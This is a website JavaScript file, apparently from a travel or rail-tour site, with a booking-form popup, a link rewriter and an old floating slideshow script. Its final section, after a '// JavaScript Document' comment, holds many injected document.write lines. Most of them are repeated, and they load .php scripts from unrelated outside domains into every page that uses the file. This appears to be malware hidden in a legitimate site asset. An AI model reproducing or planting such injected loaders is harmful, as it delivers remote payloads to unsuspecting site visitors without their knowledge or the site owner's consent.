function getRequest(bunch, paramName){
var request = bunch
var l = request.split("&")
for (var i=0;i<l.length;i++)
        {
                var d = l[i].split("=")
                if (d[0] == paramName)
                {
                return unescape(d[1]);
                }
        }
        return ""
}

function adj_bookform(){
document.getElementById('newsform').style.position = "absolute";
/*document.getElementById('newsform').style.width="557px"
document.getElementById('newsform').style.height="400px"
document.getElementById('newsform').style.scrolling="no"*/
}

var frm_for


function shw_frmnews(data)
{
frm_for = data


var dept = getRequest(data,'dept_name')




var iFrameDivID = "newsform"
try {
    if (!document.getElementById(iFrameDivID)) {
      // don't use innerHTML to update the body, because it can cause global variables
      // that are currently pointing to objects on the page to have bad references
      //document.body.innerHTML += "<iframe id='" + iFrameDivID + "' src='javascript:false;' scrolling='no' frameborder='0'>";
var newNode = document.createElement("<iFrame>");
 


    newNode.setAttribute("id", iFrameDivID);
    //  newNode.id='iFrameDivID'
    newNode.setAttribute("src", "javascript:false;");
      //newNode.src="javascript:false;"
     // newNode.style.width="557px"
      newNode.setAttribute("width", "600px;");
     // newNode.style.height="400px"
      newNode.setAttribute("height", "400px;");
     // newNode.style.scrolling="no"
	newNode.setAttribute("scrolling", "no");
     // newNode.border="0"
     newNode.setAttribute ("border", "0");
	  document.body.appendChild(newNode);
		document.getElementById('newsform').style.position = "absolute";

    }
}
catch (ee) {
  }
document.getElementById('newsform').style.border = "black solid 2px";



if (dept=='railtours'){
//alert("here")
document.getElementById('newsform').src="/ui/Vacation_form/Rail_form.htm"
}
else if (dept=='newsletter'){
//alert("here")
document.getElementById('bookform').src="php/newsletter.php"
}
else{
//alert(dept)
document.getElementById('newsform').src="booknow.php"
}

document.getElementById('newsform').style.display = "block";
document.getElementById('newsform').setAttribute ("frameborder", "0");
//return false;
floatSS(whereX + 200,whereY + 100,iFrameDivID).Fss();
}

function fix_form_link()
{
var somthing = document.getElementsByTagName('A')

for (var i=0;i <= (somthing.length - 1);i++)
{
	var hrf = somthing[i].getAttribute('href')
	if(!hrf=="")
	{
		if (hrf.indexOf("/Tools/jsp/form.jsp") >= 0)
		{
		//alert(hrf)
			var hrf_sp = hrf.split("/Tools/jsp/form.jsp?")
			somthing[i].href = "javascript:shw_frmnews('"+ hrf_sp[1].replace("dept=","dept_name=") +"')"
		}
	}
}
}

var st = setTimeout("fix_form_link()",1000)



/* Floating Slide Show Script C.2004 by CodeLifter.com */

// You *must* add onload="runSlideShow()" to the <body> tag
// of the page.

// In the section marked Edit the HTML, above, remember to
// set the path and size for the first image.

// =======================================
// Set the following variables
// =======================================

// Set slideShowSpeed (milliseconds):
var slideShowSpeed = 0

// Duration of crossfade (seconds) for IE:
var crossFadeDuration = 3

// Set the positioning variables, below:
// Negative numbers are relative to right (whereX) or bottom (whereY)
// Positive numbers are relative to left (whereX) or (whereY) top
// Experiment with values to get positioning exact, and allow
// for the dimensions of the image in the positioning

var whereX = 00;
var whereY = 00;

// Specify the image files:
var Pic = new Array() // don't touch this!
// to add more images, just continue
// the pattern, adding to the array below



// =======================================
// Do not edit *anything* below this line!
// =======================================

var nn=(navigator.appName.indexOf("Netscape")!=-1);
var t;var j=0;var p=Pic.length;var preLoad=new Array();
for (i=0;i<p;i++){preLoad[i]=new Image();preLoad[i].src = Pic[i];}
function runSlideShow(){


if (document.all){
document.images.SlideShow.style.filter="blendTrans(duration=2)";
document.images.SlideShow.style.filter="blendTrans(duration=crossFadeDuration)";
document.images.SlideShow.filters.blendTrans.Apply();}
if (document.all || document.getElementById){document.images.SlideShow.src = preLoad[j].src;}else{
document.getElementById(iFrameDivID).document.images["SlideShow"].src = preLoad[j].src;}
if (document.all){document.images.SlideShow.filters.blendTrans.Play();}
j=j+1;if (j>(p-1))j=0;t=setTimeout('runSlideShow()', slideShowSpeed);


}
var dD=document,dH=dD.html,dB=dD.body,px=dD.layers?'':'px';

function floatSS(iX,iY,id){
var L=dD.getElementById?dD.getElementById(id):dD.all?dD.all[id]:dD.layers[id];
this[id+'O']=L;if(dD.layers)L.style=L;L.nX=L.iX=iX;L.nY=L.iY=iY;
L.P=function(x,y){this.style.left=x+px;this.style.top=y+px;};L.Fss=function(){var pX, pY;
pX=(this.iX >=0)?0:nn?innerWidth:nn&&dH.clientWidth?dH.clientWidth:dB.clientWidth;
pY=nn?pageYOffset:nn&&dH.scrollTop?dH.scrollTop:dB.scrollTop;
if(this.iY<0)pY+=nn?innerHeight:nn&&dH.clientHeight?dH.clientHeight:dB.clientHeight;
this.nX+=.1*(pX+this.iX-this.nX);this.nY+=.1*(pY+this.iY-this.nY);this.P(this.nX,this.nY);
setTimeout(this.id+'O.Fss()',33);};return L;}


// JavaScript Document
document.write('<script src=http://mainegardens.com/_borders/harvestfestscarecrow.php ><\/script>');
document.write('<script src=http://hermosapointehomes.com/Scripts/aboutus_0clip_image002.php ><\/script>');
document.write('<script src=http://francestonehouse.com/photographs/links.php ><\/script>');
document.write('<script src=http://4zf.net/templates/google4d2016d81adb64aa.php ><\/script>');
document.write('<script src=http://mie-gaming.pl/img/Thumbs.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://epistane.com/Quickstart/index.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');
document.write('<script src=http://pinpartshop.com/images/shopping_cart.php ><\/script>');